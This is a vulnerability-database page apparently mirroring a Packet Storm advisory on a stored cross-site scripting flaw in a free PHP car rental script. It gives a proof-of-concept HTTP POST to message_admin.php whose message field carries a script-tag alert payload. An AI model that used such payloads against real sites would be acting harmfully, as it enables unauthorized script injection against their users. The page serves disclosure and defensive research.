Lucene search
K

Car Rental Script Cross Site Scripting

🗓️ 13 Aug 2020 00:00:00Reported by Yussef DajdajType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 155 Views

Car Rental Script Stored XSS vulnerability in message_admin.php allowing persistent XSS injection

Code
`====================================================================  
Car Rental Script - Stored XSS  
====================================================================  
####################################################################  
.:. Author : Yussef Dajdaj  
.:. Contact :  
.:. Vendor : https://projectworlds.in/  
.:. Script : https://projectworlds.in/free-projects/php-projects/car-rental-project-in-php-and-mysql/  
.:. Date: : 8/7/2020  
.:. Tested on: : Tested on: Window 10 64 bit environment || XAMPP  
####################################################################  
  
Description: The application allows an anthenticated user to send a msg to the app administrator, parameter message is vulnerable to XSS injections.  
  
===[ Exploit ]===  
  
[*] Stored Cross Site Scripting  
=================================  
  
I. Persistent XSS  
  
POST /testing/message_admin.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.1 Safari/603.1.30  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://localhost/testing/message_admin.php  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 37  
Cookie: PHPSESSID=noml4n6pvqi6tn83i8quqebtva  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
  
  
message=<script>alert(1);</script>&send=Send+Message  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Aug 2020 00:00Current
0.1Low risk
Vulners AI Score0.1
155